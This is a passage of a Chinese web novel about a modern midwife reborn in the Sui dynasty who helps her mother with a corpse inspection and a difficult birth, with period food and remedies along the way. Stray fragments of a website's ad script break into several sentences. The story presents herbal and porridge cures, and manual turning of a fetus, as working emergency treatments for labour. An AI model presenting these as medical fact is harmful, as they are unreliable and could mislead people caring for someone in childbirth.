《大唐食客升职记》 1. 莫家顺娘 大业元年,冬夜。 长安城,西城丰邑坊,南街。 正值隆冬,寒风在狭窄的巷弄间,发出凄厉地哨声,巷子两侧的窗棂上,糊窗的桑皮纸扑筋作响。 “天干物燥,小心火烛。” 打更人敲了三下,夜已至三更。 南街深深锁寂寥,唯街尾一座老旧的四方宅院,还点着些许灯,却仍似被阴霾笼罩。 院门上挂着两个白纸灯笼,上面写着大大的“奠”,顶上的牌匾赫然刻着“义庄”。 “吱嘎——” 老旧的木门从里被推开,发出寒鸦般嘶哑的声响。 “老刘,换个火。” “好嘞,谢了,庄大善人。” 打更人调笑间,义庄管事给他换了下半夜的烛火,又转身进了屋。 屋内,粗犷青石砌成墙,偶见佛像莲花样式的浮雕,空气中还有淡淡的沉香浮动,掩盖了腐烂的尸味。 一位半老徐娘身着深色襦裙,头簪银钗,跪坐着给一妙龄女尸上妆。对面还盘腿坐了位僧人,瞧着似是在超度。 庄管事进了屋也闲不住,在两人一尸之间来回踱步。 莫婤盘腿坐在一旁的胡床上,托着下巴,杵着方桌,看得起劲。 谁知僧人一番念经:“其土众生,无有众苦,但受……①”她似小鸡啄米,打起瞌睡来。 “砰——” 一头撞上了方桌,被同是坐在胡床上的管事娘子扶起。 这下人是清醒了,又盯着为女尸化妆的妇人,发起呆来。 她本不是这儿的人。 在现代社会她是一名助产士,俗称“现代接生婆”,因发着烧还坚持加班,过劳死了。 再睁眼,到了隋朝,成了莫家顺娘六岁的小女儿。 偏巧莫家顺娘是一稳婆,她穿来也算是有“家学渊源”了。 原以为稳婆只是个“古代接生婆”,跟着莫母走街串巷这月余,才知“三姑六婆”中的稳婆,在古代的独到和神秘。 由于接生的专业,他们有机会接触到女体,俱暗妇女生理结构的知识。业务除了接生、断脉,还囊括验身、验伤甚至验尸。 宫中选秀女时需他们辨别美丑,检查是否为处子;选奶娘时亦需他们定夺,检验奶汁厚薄、有无隐疾;遇上妇女遭受强女干或孕妇受伤的案子,官府衙门常还需他们验伤、验尸②。 今日这桩差事,既是验身,又是验尸。 昏黄的烛光下,躺着一女尸,身着红嫁衣,长发散乱。颈间一圈醒目的酱紫色勒痕,面色紫绀,舌头长伸。 因上吊而死,脸很是扭曲,验完尸,莫母看着不忍心,为其上了入殓妆。 这是钱家老爷为刚过世的儿子,费心挑选的冥婚对象。 隋朝时期,受儒家礼教思想“事死如事生”的影响③,提倡对死者的态度,应如同死者在世一样,包括婚姻。 由此冥婚便在部分人家中盛行。 原以为是你情我愿的买卖,新嫁娘却在夫家迎娶后的当晚就上吊身亡了,这让钱家瞬间炸开了锅。 一会怕是人伢子为了赏钱,只看颜色,选了个不清白的;一会猜是仇家的手段,要断自家风水。 恐这场冥婚会带给家族灭顶之灾,便想让义庄管事找个靠谱的稳婆,查验女尸是否完璧,是否自戕,以排除不祥之兆。 庄管事与莫母有旧,知道她的本事,便求了她。 但莫母自生了小女儿,因着女儿天生体弱,就不肯再干这些有损阴德的差事。 庄管事眼馋钱家喊出的报酬,及隐形的人脉,又无其他可靠之人,只好苦苦哀求莫母,说是除了酬金,钱家还许诺她一个人情。 若是以前莫母断不会答应,但想到近日她们母女如困兽之斗,便应下了。 翌日一早,天还未明,钱家主便亲自前来问询验尸结果。 女尸是处子,除了颈间勒痕外,再无其他外伤,初步判断是自行上吊。 钱家主听罢,松了口气,出手更阔绰,比原先的酬劳多了一成,还一口应下莫母的请求。 眼瞧着天边泛起了鱼肚白,约莫到了卯时,坊门已开。莫母便收好酬金,主动告辞,带着莫婤归家去了。 莫家位于延寿坊,走回去要大半个时辰,沿途需穿过三四个坊市,每个坊内外都是两幅天地。 坊内,巷子两旁,房屋鳞次栉比,炊烟袅袅升起。 邻里间,端着个食碗,互道问候,分享着家常琐事。偶尔两旁的屋子里还传出几声孩童的哭喊、爹娘的叫骂声。 坊外,熙熙攘攘,人声鼎沸。 贩夫吆喝着,卖浆酪饮子,卖时蔬瓜果,还有那留着络腮胡卖香料的…… 头发花白的药婆子,指着背篓说是刚挖出的野生药材;手持算盘的卦姑,正逮着过路的书生,非要算出他哪日飞黄腾达。 冬日间,竟有光着膀子卖肉的大汉,摊位上卖猪蹄、梅花肉、羊肋小排、羊蝎子…… 莫母买了把冬葵,正与点着面靥的绣娘讨价还价;她在一旁,听掛姑算卦,入了迷。 丢了绣品,莫母扯了她继续往前走,一路上,最多的还是吃食摊铺。 她东张西望同时,惦记着王大娘家的黄雌鸡索饼、丹鸡索饼,口中还念叨着萧胡子家的猪肉馅馄饨、鲜虾馄饨。 手上拽着张胖子家的胡麻饼,嘴里又回味起辛娘子家的花折鹅糕。 看她实在是馋,莫母拉着她在袁师傅家要了碗羊肉汤羹,泡着胡麻饼,母女俩吃了个肚圆。 等回到住处,已是辰时正,连住巷子口的春鸨母都立在门前插起了花,画着全妆,袒着胸脯,扔了巷子口一地的残枝枯叶。 莫母看不惯她这副做派,白了她一眼,同井边浣衣的孙娘子寒暄了两句。 “莫嫂子,你是欲效仿薄姬啊④。” 孙娘子意有所指,莫母听不太懂,隐约觉得她在含沙射影;而听懂的莫婤,怒瞪着她。 “噗,你家郎君还没当上大官人呢,就在这儿咬文嚼字的。” 插着花的春老鸨也听不惯,嗤笑一声,却对莫母阴阳怪气道, “呦,一整夜没回来?上哪儿骚去了,趁早来我春红院,安排你伺候最厉害的。不用你外边哄着,家门口还钓着。” 似是被自己的话逗乐,老鸨子笑得前俯后仰。 听了她这口无遮拦的戏谑,莫母立马品出她们何意,火气一下子就上来了。 抢了孙娘子手里的水瓤,舀了一大勺浣衣水,趁春老鸨笑得前合后偃之际,狠狠泼在了她脸上。 “洗洗你这张臭嘴,尽编排些恶心人的玩意儿。” 春老鸨只觉脸上像被人盖了一巴掌,除了痛,一股刺骨的寒意从皮面渗进了头骨,顺着头发和胸脯流了全身。 水里还夹杂着男人的汗臭味、孩童的尿骚味,让人作呕。 泼完水,莫母仍觉不解气,又冲上去夺了春老鸨手肿的花囊,拆了里头的花,重重砸向她脚背。 “啊啊啊啊,你这泼妇,颠婆。” 春老鸨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 尖声叫道,想冲上来与莫母撕打,奈何眼也睁不开,脚还疼的厉害。 只好一手拉裙摆擦脸,一手抱着只脚,金鸡独立状。 “不然为老子泼你,就是泼妇啊,你现在更像颠婆。” 唾了春老鸨一口,莫母一面牵着莫婤往家走,一面将水瓢大力地掷回孙娘子浣衣的盆里。 “砰——” 正事不关己看热闹,躲着偷乐的孙娘子,被从天而降的瓢柄,扇肿了脸,也溅了满脸臭水。 往前走了几步的莫婤,回头对孙娘子做了个鬼脸,又对着狼狈不堪的春老鸨道: “老鸨子,你鬼上身啊,脸好花,又疯又丑的臭颠婆。” 只见春老鸨脸上黑赤灰粉都有,一团团晕开,往下流着五彩斑斓的水痕。 “啊啊啊,我妆花了。” 也顾不上脚疼了,她嚎着奔进了屋。 画着梅花妆的孙娘子,面色亦是一僵,衣服也顾不上洗了,端着盆疾行回自家院子。 莫家在巷子最深处,愈往里走,莫婤愈觉暗潮汹涌,怒意凝重。 走到一户挂着“快马轻车,莫氏收生”的院子门前住了脚,正开着门,一旁突然窜出个人影。 “顺娘,昨夜你去哪儿了,让我好生想念,心肝痒痒。” 怪腔怪调的话,惊起莫婤一身鸡皮疙瘩。 来人是另一条街,王麻子的儿子,王二。 遗传了他老子的麻子,人还长得矮小,年三十了,也没讨上媳妇,半年前莫母替他嫂子接生时,同他打过照面。 前些日子,他兄长当上了役头,还带回来了莫母丈夫和儿子在服徭役时摔死的消息,莫家母女一下子便垮了。 这小女儿本就体弱,悲伤过度就去了,幸而莫婤穿了过来,若是一家四口去了三人,大概莫母也就自戕了。 所谓为母则刚,莫母一面将病重的女儿照顾得妥妥帖帖,一面忍着悲痛找官府确认了消息,领了抚恤金,立了衣冠冢。 看娘忙上忙下,若铁娘子,继承了原主情绪,悲痛万分的莫婤,也努力敛心静气,调息凝神,辅以汤药,一日日好了起来。 这时,应是知莫母成了寡妇,自家兄长又当上役头,有了靠山,这王二竟三天两头上莫家,欲占便宜。 近来更过分了些,竟恬不知耻地扬言要娶莫母做妾。 莫母拉着她进了院子,王二也想趁机尾随,莫母怒火飙升,猛得转身,抄起大门旁的扫帚,朝着他疯打过去。 作为稳婆,莫母看着纤细,其实很有一把子力气,熟悉人体构造,专挑人痛的地方打。 将他打出门的同时,怒骂道:“撒泡尿照照自己这衰样,也配得上老娘?癞蛤蟆想吃天鹅肉,滚出去,脏了老娘的地。” 王二痛得嗷嗷直叫,忙往门外窜,慌乱间被门槛绊倒,劈了个叉,重重地骑在了上。 “嘶——” 瞧着他那狰狞的表情,下身应是受了重创。 莫母才不管他伤了哪,见他停住不躲,打得更痛快。 在院子里捡了一圈石头的莫婤,见状也跑了过去,将石头一把把扔他身上,专挑皮薄骨头硬的地方,狠狠地砸。 脸上、身上、裆下……王二疼得浑身抽搐。 捂着裆爬起,踉跄地往巷口跑,嘴中还不忘放狠话:“你不当我小妾,我就让我哥送你去服瑶役,再卖了你女儿。” 打跑王狗,母女俩坐在院中的石桌上,面面相觑,犯起愁来。 王二的威胁,如厉鬼绕梁。 2. 冬葵素锦粥 公元605年,正月初一。 杨广大赦天下,改元“大业”。 正月里刚改了年号,三月杨广便下令新建东都洛阳,这般鸿篇巨制,工期却是十四个月。 为此每月里要征调民夫二百万人,马不停蹄,日夜赶工。 壮丁致死率近半,东至成皋,北至河阳,拉尸的车连绵不断。 史称:”役丁死者什四五,所司以车载死丁”①。 莫婤的父亲和兄长,亦死在了这次徭役中。 官府拿二两银子的抚恤金便将莫母打发了,一条人命竟只值一两银子。 还因着死尸太多,官府怕发生瘟疫,便全都拉到乱葬岗或焚烧、或掩埋,莫母连尸体也要不回来。 人已死,再悲痛莫母也咬牙挺了过来,但自此王二便借“服徭役”的由头屡次三番地威胁她。 毕竟杨广在下令修建东都洛阳四天后,就“发河南诸郡男女百万余 开通济渠”①。 眼见长安城男丁越来越少,莫母担心王二伙同他哥抓她去服徭役,再糟践她女儿。 这世道,小小一个役头对他们孤儿寡母来说,竟是权势滔天。 “娘,别想了,不是托了钱老爷?说不定这两日就有好消息了。” 见莫母拧眉沉思,莫婤忙出言安慰到。 “阿丑说得对,多想无意,走歇息去。” 莫母拍拍裙摆,利落起身,一把捞起她进了屋。 “娘,别叫乳名。我是个大娃了,能自己走。” 她被莫母一手托抱起,也不敢乱动,小声抗议道。 莫母看装小大人的她红着脸,僵着身子很是好玩,颠了颠她的小屁股道:“小人精还臭美,贱名好养活。今儿走了这么多路,阿娘心疼了。” 说完三两步穿过院子,往里屋走去。 进了卧房,同她褪去外衣,手轻拍她的背,低声哼着小曲儿,没多时她便被哄睡过去。 午后,阳光如同金色绸缎,从天际缓缓铺展。 她还坐在炕上醒神,就被莫母提溜了下来,擦手擦脸后跟着进了灶房忙活晚食。 隋朝时期,平民百姓多遵循一日两食,早食为“饔”,晚膳为“飧”。 锅中已掺水,见状她搬了个小木几,去灶台帮莫母烧火。 莫母从米斛中,舀一勺金黄小米,洗后倒入锅中,激起一串串欢快的泡泡。 煮上米,搅和几下后,莫母也搬了个木几,坐着择冬葵,就是冬寒菜。 冬葵绿叶嫩茎,生机勃勃,择好切碎,看着鲜亮。 锅温渐升,米粒膨胀,释出淡淡米香,待其浓稠后,将冬葵碎洒入锅中,放些盐,继续搅拌。 直至粥变得浓稠滑润,撤火起锅,再抓了把泡菜坛子里的藠头。 一口藠头,一勺菜粥,粥的绵密,再加上酸甜的藠头,一不留神莫婤就喝了整碗。 见她甚至打起了饭嗝,莫母包圆了锅中剩下的粥。 吃的饱了些,母女俩瘫在灶房外的石阶上,看着远处的火烧云。 红云如火,橙霞似锦,紫烟若纱……青色的云边镶嵌着金色的边框。 “咚咚咚——”此时寂静的院落,响起了一阵清脆的敲门声。 莫母拍拍屁股,理了理衣服,起身开门。门外是一管事穿着的老妇人。 “您是莫娘子吧?” 同莫母确认了身份,老妇人说明来意, “高府少夫人这两日临盆,正谋求手艺好的稳婆,主子已搭好了线,明早便送您过去。” 听完妇人的转述,莫母又详细打听了些,探得高府在东城,高老爷现官居四品。 给了一把铜钱做劳碌费,莫母客气的送走老妇人。 “钱老爷真爽利,这就有消息了!” 关上门,莫母一脸喜色对莫婤道, “若能得四品大官做靠山,役头算什鬼?还在东城,远点好啊!” 说罢便笑容满面地拉着莫婤回屋,准备整理明日要带去接生的物件,只是还没走得进去,屋外又响起了敲门声。 想来应是钱家管事还有没交代完的,莫母忙上前开门。 门开了个缝,看清来人,莫母又想一把将门关上。 “顺娘,怎么老姐妹来了还闭门不见啊。”说罢,来人从门缝里挤了进来。 莫婤一看,原是另一条巷子口的媒婆郑大娘。 不知王二许了郑大娘什么好处,这几日时常上门给他当说客。 莫母脸上喜色散得一干二净,对着郑大娘讽刺道:“老嫂子自己过活这么些年,总是上我家门劝我改嫁是几个意思。” 郑大娘也是早年丧夫,带着个小妹,还要拉扯两儿一女,为了生活就走街串巷当起了媒婆。 “顺娘这是哪里话,我要有你这般颜色,早嫁去了。” 听了莫母的讽刺她也不尴尬,厚着脸皮继续劝道, “王二人是丑了点,但谁让他有个好兄长呢。夜里灯一吹,又瞧不见,脱了裤头都是男的。” “让你家小妹嫁去啊,她不是也没了男人。” 莫母听烦了她的胡言乱语,边捂住莫婤的耳,边拿话堵她。 郑小妹男人,前些日子投了井。 郑小妹貌美,她男人也白净,还颇爱读书。只是人穷,便当了郑家的上门女婿。 一次书肆抄书,他遇上了一富贵老爷,这老爷多瞧了他两眼,他便觉得这老爷对他有龌龊的企图。 悲从中来,不愿将来受辱,就投了井。 但这老爷只是爱才,见他字写得不错,就多瞧了两眼。 他这一死,富贵老爷真被人猜断袖,是有口说不清,一气之下便报了官。 隋朝有律法规定:“造谣惑众,杖一百;若致死者,绞②。” 他人已死,官府便只判了郑大娘一家在集市、巷口等地宣读认错书,讲明前因后果,还富贵老爷清白。 在官府监督下也做不了假,郑大娘一家整整读了五日,光是在这条巷子口都说了三遍,闹了好大的没脸。 街坊邻居自是都知道了,这等离谱的大瓜惹得大家一连讨论了好几日。 当时莫婤病刚好,能自己下床后便想着坐在巷子口听听风土人情,多了解这个时代。 谁知历史浪潮未得知,先吃上了一口大瓜。 这一系列流程下来,就是古代版崆峒+告上法庭+侵犯名誉权+登报道歉! 一听莫母及此事,郑大娘黑了脸,也没心情再劝,起身走了。 见阿娘一句话便让巧舌如簧的媒婆都没了言语,莫婤对母亲竖了个大拇指。 看着闺女崇拜的目光,莫母扬了扬下巴,进屋继续收拾东西去了。 …… 鸡鸣三唱,天还是灰蒙一片。 莫家母女带着行囊,坐上了去往东城的马车。 马车上,竟还坐着钱夫人。 钱夫人先是感谢了莫母一番,后又同她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 讲了些高门大户的忌讳,嘱咐莫母千万瞒下自己验尸的本事。 看着依偎在莫母身旁的莫婤,又提醒她别让女儿走这条路,在大户人家寻个如意郎君嫁了,觅个好前程。 莫母走南闯北这些年,自是知钱夫人的好意,连连道谢之余,也是暗下决心。 见母亲心中有了成算,莫婤大感不妙。本想再大些,在古代大展拳脚,给隋朝稳婆届来点现代助产的震撼。 现今看来是无望了。 晨曦微露,天边泛起淡淡霞光,两辆马车穿过高大的坊门,使入东城平康坊。 沿街而行,商铺林立,不时有茶肆酒楼映入眼帘,幌子随风轻轻摆动。 看着马车外的繁华,正规划着日后要买下哪处宅院,哪几间商铺,最好还能开家接生馆的莫婤,被莫母一把拽回身旁。 马车又行了一盏茶的功夫,终是到了高府。 钱夫人让人通报后,没等多久就鱼贯而出许多丫鬟下人。 领头的婆子穿着最为讲究,约莫是管事级别的,钱夫人同她见礼后,便辞别了。 这婆子领着莫氏母女穿过角门,往内院走去。 冬日里的高府院子景色依旧迷人,走在一条用青石铺就的小径上,两侧古树苍劲,一股舒朗大气的底蕴扑面而来。 一路上,婆子先是介绍了自己是夫人身边的管事婆子,赵大家的,又同莫母讲了些夫人现今的情况。 高夫人这是头胎,刚刚足月,算着这两日便该生了,产房布置在偏房。 听罢莫母又细细问了些,如高夫人之前是否有过小产,胎位正不正,产房如何布置的,药材是否准备。 赵妈妈见她这般周全稳当,一时也放心许多。 穿过几道门,绕过一处院落时,莫婤瞧见左侧院门上挂着红布,猜想应是“挑红”。 古代婴儿降生后,大户人家会在院门上挂红布,挂左代表生男,挂右代表生女,以此告喜,唤作“挑红”③。 “府中不久前也有喜事?” 莫母眼厉,自也是看见了,低声问向赵大家的。 赵大家的不甚在意地回道: “前日这院中姨娘难产,夫人心慈将自个备好的稳婆都给了出去,谁知那些个稳婆不经事,后来都被姨娘打发了,这才找了您来帮忙。” 说罢还拍了拍莫母的手,以示重托。 莫母不再多言,跟着赵妈妈又走了约莫一刻钟,终是进了夫人院。 还来不及细细打量,便听着偏房一阵痛呼声,还混杂着丫鬟婆子的惊叫。 莫母一把抓过愣着不知所措的赵大家,让其带路,匆匆跟着进了偏房。 此间偏房作为夫人待产室,内有红幔庆运,壁上画吉祥联络。 抬眸望去,一少妇打扮的女子坐于精致床榻边,脸色苍白,眉头紧锁,嘴中痛呼着如杜鹃啼血,裙摆下还不断有水涌出。 身边围了好些婆子丫鬟,或擦汗,或捶腿,一些喊着“夫人放松”,一些叫着换热水。 最荒谬的是一旁站着的几位妇人,看打扮应也是高府请来帮忙接生的稳婆。 一个准备烧香,一个开始跳大神。 还有一个也不管痛得快晕厥的高夫人,指挥着其他小丫鬟将屋子里的盒子妆匣都打开,说这样能生顺畅些。 莫母看着这一幕幕,头愈发疼了。 她冲上去薅开挡事的丫鬟婆子,一摸高夫人的裙摆。 全湿透了…… 3. 瑞麟诞辰汤 “都破水了,嚎什么嚎!没点子章法!” 莫母一面扶着高夫人往床上躺,一面对着乱叫的丫鬟婆子厉喝道, “愣着干嘛,搭把手,抬夫人上床啊。” 坐着的高夫人虽疼得满头是汗,人却很是清醒,看终是来了个靠谱的人,松了口气配合着往床上躺的。 见丫鬟婆子被喝住,她还不忘嘱咐她们都听莫母的安排。 见高夫人是个明白人,莫母也松了口气。 刚进来那场景出现在这般大户人家当家夫人院中,着实离谱。 这高府水有些深啊。 “你带人去备热水,将我的产具用沸水多烫几遍,最好再找坛白酒来。” 莫母指着一个应是大丫鬟的人道,又拉过莫婤,对着另一个大丫鬟道, “这是我女儿,煎熬药颇有一手,你带着她去大厨房守着催产药。” 说罢,捏了莫婤一把,还对她使了个眼色。 去大厨房的路上,她拉着这丫鬟甜甜地叫姐姐,轻声安慰,想探得些消息。 这丫鬟虽心神不宁,嘴却很严,只说了她是高夫人的贴身丫鬟,杏雏。 一进大厨房,热火朝天的场景扑面而来。 所有灶台同时烧着,胖大厨光着膀子抡勺;砧板工手眼不停,切片、切丁、切丝,手中菜刀如同飞蝶;烧火丫头黑着小脸蛋,吹着灶头的火。 还有专供夫人生产差遣的丫鬟婆子,或烧水、或煎药、若熬糖、若煮粥…… 杏雏领着她到了煎药的灶台,她闻了闻,又尝了尝,确定药材没有问题便让婆子开始熬药。 同时,她还自己另起一锅,熬起了莫母的独门催产药——瑞麟诞辰汤。 杏雏也觉今日有些怪异,丁点都不敢恍神,不错眼地盯着熬药的婆子。 见状,莫婤乐得清闲,只专心守着自己的药炉。 这事她做了近一月,游刃有余,还有心思尖起耳朵,听婆子们忙中偷闲地聊八卦。 谁家丫头又升了一等,哪房家生子当了通房丫鬟,谁屋里的婆子得了赏,哪户管事被放到了庄子上。 都是些无用的嚼舌,只一段对话让她上了心。 “田二家的,夫人生完的喜菜备好了没?” “差不多了,就等甘丫头拿糖回来了。” “这罐子糖又没了?” “是啊,近来夫人就爱吃些甜的,糖蒸糕、糖醋梅花肉、糖油果子……这糖成日不够使。” “夫人是有福气的,一直没胃口,快生了胃口大好了,生时定有力气!” “是啊,前些日子那稳婆就不让夫人动弹了,怕惊了胎气,夫人瞧着身子都重了许多,定能顺利生下小公子。” 婆子们说得信誓旦旦,莫婤听得频频皱眉。 古人大多不知孕期饮食管理,只念着能吃是福,却不知这般会长成“巨大儿”,再加上不锻炼,轻松难产。 虽然普通古人不知,但跟着阿娘走家串巷数日,她知道隋朝稳婆界,是懂这些道理的啊! 那之前的稳婆,就很可疑了! 她心中产生了,同产房中的莫母一样的想法,这高府不太平啊! 婆子熬好药后,杏雏还是不放心,让莫婤先尝尝。 她正尝着药呢,一股强劲的力道毫无征兆地从后方袭来,猛地将她往火炉推。 她的身子一下便失去了平衡,踉跄着,直直倒向那火炉子,火炉子上是熬药铜罐,烧得焦红。 “啊——” 杏雏反应过来,尖叫着伸手,却没将她拉住,她还是一头栽了上去。 铜罐周围的空气,都别烈火烤得扭曲,莫婤似乎听到了尖叫声混杂着碗筷破碎声,锅盖跳动、油溅起,面粉翻倒、糖罐碎裂…… 千钧一发之际,她的手指碰到了躲在一旁的熬药婆子。 她毫不犹豫,一把抓住婆子的手腕,用力一拽,身子在空中划出一道急转弯后,躲过了火炉子。 “砰!刺啦——” 人躲过一劫,但手中的药碗碎了一地。 “哪个黑心肝、丧良心的故意推我,这是夫人的药,你赔得起吗。” 站直身子,她也不管此人是何来历,口齿犀利地骂道。 骂完,她也看清了推自己的人。 是一个穿金戴银的丫鬟,看打扮应是哪个院子的大丫鬟。 “你小丫头敢在厨房偷吃,就是要让你尝尝苦头的。” 这丫鬟见她偷吃还如此嚣张也是来了火气,咄咄逼人道, “是谁摔的碗,自是谁赔,还想赖上旁人不成。” “谁说我偷吃了!我是在给夫人试药!” 见那人故作镇定,莫婤也不跟她东拉西扯,直接嚷出了她的目的, “你选这时候推我,就是想打翻夫人的药,你要害夫人性命。” “你胡说,来人给我撕烂这小丫头的嘴。”这大丫鬟见她这般嚷,也慌了,指使这一旁的小跟班,要来捉她。 “住手,我看谁敢动夫人的人。” 一旁暗暗观察分辨的杏雏,终是站了出来为她撑腰,又对着那大丫鬟说道, “你等着挨罚吧。” “送药要紧,我们走。” 说着便又让熬药的婆子重新盛了一碗,直接装进了函盒里。 莫婤也将自己熬好的那炉药,整炉放进了函盒内,同杏雏一起抬回了夫人院子。 院子中已站满了人,一位老妇人坐于树荫下,是高老夫人。 她手杵着狮头杖,正发着威:“平时夫人带你们这般好,个个都丧良心。” 杏雏见状忙上前,带着哭腔看似向高老夫人请安,实则告状。 她一旁帮腔捧哏,一大一小两个姑娘,将刚才产房中惊险荒唐的场面,讲得惟妙惟肖,还提到了厨房的龃龉。 见煽风点火得差不多了,药也能入口了,她适时提醒杏雏,杏雏顺势结束,同她一道把药送了进去。 毕竟卖惨要把握度,少一分不够惹人怜惜,多一分令人厌烦。 更何况莫婤余光还瞥见树后站着一男子,也不知站了多久,但见姿态打扮应是高大人。 她们抬着函盒刚进产房,莫母便迎出来安排道:“婤婤,快把我那药倒一碗。倒完就出去呆着,别进来裹乱。” 知道母亲是听进去了钱夫人的话,她也不多做挣扎,对莫母嘱咐了两句,放下函盒便离开了。 正往院中走,她同从树后走出来的高大人撞了个正着。 向他行了个礼,她便规矩站到了老夫人身后,小人精的乖巧模样,倒是让高老夫人和高大人多看了她两眼。 许是各院都打听着了消息,姨娘管事们纷纷赶到,说是为夫人“祈福”。 随着日头愈来愈大,高老夫人眉头越锁越紧,指尖泛着冰凉。 立于高母旁侧的高大人伸手握住母亲微抖的手,亦一言不发,面露阴霾。 整个庭院压迫之气弥漫,令人窒息。 来得最早亦最得宠的张姨娘,终是受不了这压抑氛围,忍了忍还是试探地问道: “夫人这生得也太久了些,不会是遇上难产了?” “说说说,就你长嘴了?” 高老夫人本就心烦意乱,张姨娘的话正撞老夫人枪口上,话音刚落就被高老夫人怼了回去。 “妾这不是关心夫人吗?” 被训了的张姨娘很是气不过,竟嘤嘤地哭起来,哭得梨花带雨,边哭,边不停地对着高大人抛媚眼。 高大人自是感觉到了身上的目光,只是心神都在“嫡子”上,也不怜惜张姨娘:
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “眼抽抽了?” 说完又对她的贴身丫鬟道: “你们姨娘许是犯了眼疾,带她先回屋歇着去吧,别在这碍眼。” 高大人刚说完,张姨娘的抽泣声陡然一滞,不敢再造次,规规矩矩行礼告退。 站在老夫人身后的莫婤也悄悄瘪了瘪嘴:乌鸦嘴,她娘还在里面接生呢。 产房内,高夫人也确是难产了。 高夫人破水后,宫口便开全了,按理说应生得顺利,但待莫母热水烫手后,往里一摸,摸到的却是胎儿肩胛。 常理该摸到胎头,摸到肩是胎位不正了。 刚刚忙着开盒子的稳婆,见莫母退到一旁沉思,便也想上前露一手。 待她往内一摸,脸“唰——”一下白了,大惊失色地冲出去,对着高老夫人和高大人磕头的同时,慌忙喊道: “夫人情况不好,保大还是保小!” 听着这话,莫婤立马蹙起了眉,很是担心莫母。 高老夫人更是听不得了,“腾——”地扶着拐杖站来,身子晃得厉害。 高大人忙上前扶住母亲,问道:“没有其他法子了吗。” 院子里其余众人,听罢也是闹作一团,一些惊呼,一些假哭,一些低头憋笑,一些直喊菩萨保佑…… 产房外,哭喊嚎叫、求神拜佛声,不绝于耳,竟比房内还热闹。 房内,没拉住那稳婆的莫母,也没精力管外边的谣言了,稳住心神,只顾得上眼前。 “您放心,听我的,准没事。” 她先安慰了高夫人一番,争取了最高的配合度。 接着让高夫人卸力,外触其腹部,找到胎儿的头和臀,双手用力将胎头推向盆骨,同时将臀部推向宫底,再烫手伸入宫口探查胎儿体位。 如此五六次,竟生生将胎儿转了过来。 再次烫手伸入宫口,先推胎儿,使其身再捋捋顺,让胎头对着产门,用中指摸到胎儿肩,不让脐带羁绊。 然后,再端以莫婤备好的汤药催之,复令高夫人直立,配合着她的指挥用劲。 “有婴儿哭,你们听。” 一直没掺合吵闹的莫婤,尖着耳朵听到了产房内的动静,大喊道。 她人小,叫声自然比不过这么多人的喧哗声,但离得近的高大人和高老夫人听到了。 “都闭嘴!” 高大人一声怒吼,所有人都歇了声。 “哇——哇——哇哇哇——” 一阵阵婴儿的啼哭声自室中传出,以动风气,声音愈来愈大。 此声如天籁,响于老夫人及高大人之耳。 老夫人放松下来,倒在身后丫鬟身上,嘴中连连念叨着“阿弥陀佛”。 一旁立着的妾室们,大多低下了头,撇嘴、翻白眼,手中的手帕都快被捏碎了。 就连平日行事低调,人淡如菊的卫姨娘,眼中也闪过嫉恨,却又只能拼命挤出笑容,嘴上还得说吉祥话:“家主又得一麟儿,真是雄姿英发啊!” “说的好,赏!全府都赏,尤其要重赏稳婆!”高大人听后大笑着给了赏赐,连莫婤都领到一个红鸡蛋和两块喜饼。 莫母因还要在偏房收拾,没空理她,便将她托给了杏雏。 杏雏将她安置在自己的下人房里,还搜罗了一盘点心招待她,便忙去了。她一人趴在桌上,不知不觉睡了过去。 再醒来时天已经黑了,她被放到了杏雏房中的床榻上,莫母仍不见踪影。 “婤婤,醒了?” 见莫婤坐起来,杏雏忙上前安抚道, “多亏了你母亲,夫人已大安。只是夫人的手帕交也发动了,亦遇上了难产,唤你母亲帮忙去了,明日才能回了。” 听杏雏说完,她心中一动,看来高府很满意娘的手艺啊! 4. 金玉满堂福禄粥 翌日拂晓,天边泛起鱼肚白,薄雾轻笼着高府,杏雏领着莫氏母女,去了夫人院中复命。 一行三人缓步行于石径上,露珠沾湿了鞋袜,莫母将昨日傍晚接生的惊心动魄娓娓道来。 莫母是为夫人的手帕交柳氏接生。 柳氏这一胎本应顺畅无比,但在腹中胎儿即将降世之际,柳老夫人却迷信吉辰,强行要求稳婆和药婆施展各种禁忌之术,企图控制天命。 柳氏翻来覆去痛了足足一个白日,腹中婴孩胎动愈趋微弱。 终还是怕没了孙子,柳老夫人无奈之下松了口,允准生产,可柳氏这时已是筋疲力尽。 药婆和稳婆先前竭力延宕,手段频出,此刻面对催产之难,竟束手无策,无力回天。 幸而柳氏有急智,遣心腹疾驰高府向高夫人求助。正值高夫人诞下麟儿,听后忙派了莫母去相帮。 莫母抵至柳府,映入眼帘的是满室哀嚎,她快步上前为柳氏诊脉,六脉微弱,气血两虚。 药婆与稳婆面露愧色,缩于墙角,无助至极。莫母疾步上前问询前情,得知种种不当处置,眉头深锁。 她也没再多耽搁,让大厨房即刻熬了一锅金玉满堂福禄粥。 糯米泡好,大火烧开,小火熬至绵密。 再加入去核的红枣、烤过的核桃仁,文火熬烂后放红糖、生姜,轻轻搅拌至均匀。 最后倒入鸡蛋花,一锅金玉满堂福禄粥便做成了。 其中红糖、生姜是重中之重。 古训云:“血虚者,温补为先;气衰者,甘润为宜。”红糖温热,善补气血,姜汁辛辣,助活血脉,二者合烹,恰为急救良方①。 待夫人用粥时,莫母又让人抓了当归三钱,川芎二钱,枳壳二钱,益母草一钱,白芷六分,火麻仁一钱,亲自煎煮了元气自生饮②。 一粥一饮下去,柳氏终是有了力气,配合着莫母的催产声,顺利诞下麟儿。 其中之惊险和荒唐听得莫婤频频蹙眉,言语间,她们已行至夫人院落。 只见朱门半掩,雕梁画栋间透露着庄严与静谧。 莫母整肃衣冠,理了理莫婤的花苞头,步入庭院。 院中几株梅花傲立,一丛翠竹随风轻摆,数名侍女穿梭忙碌。 一位大丫鬟打扮的侍女迎了出来,笑容可掬,言语间满是敬意: “莫妈妈,夫人自晨熹便牵挂于您。您这一路风尘仆仆,实属不易,请随婢来,夫人正等着。” 说罢,这大丫鬟拉过杏雏,笑着将莫氏母女往夫人正房中引。 “多谢秋塘姑娘了。”莫母昨日便对夫人院中四个大丫鬟具已熟识,对着秋塘微微欠身。莫婤亦是眉眼弯弯,对着她客气地笑笑。 穿过三道屏风,一行人进了里间。 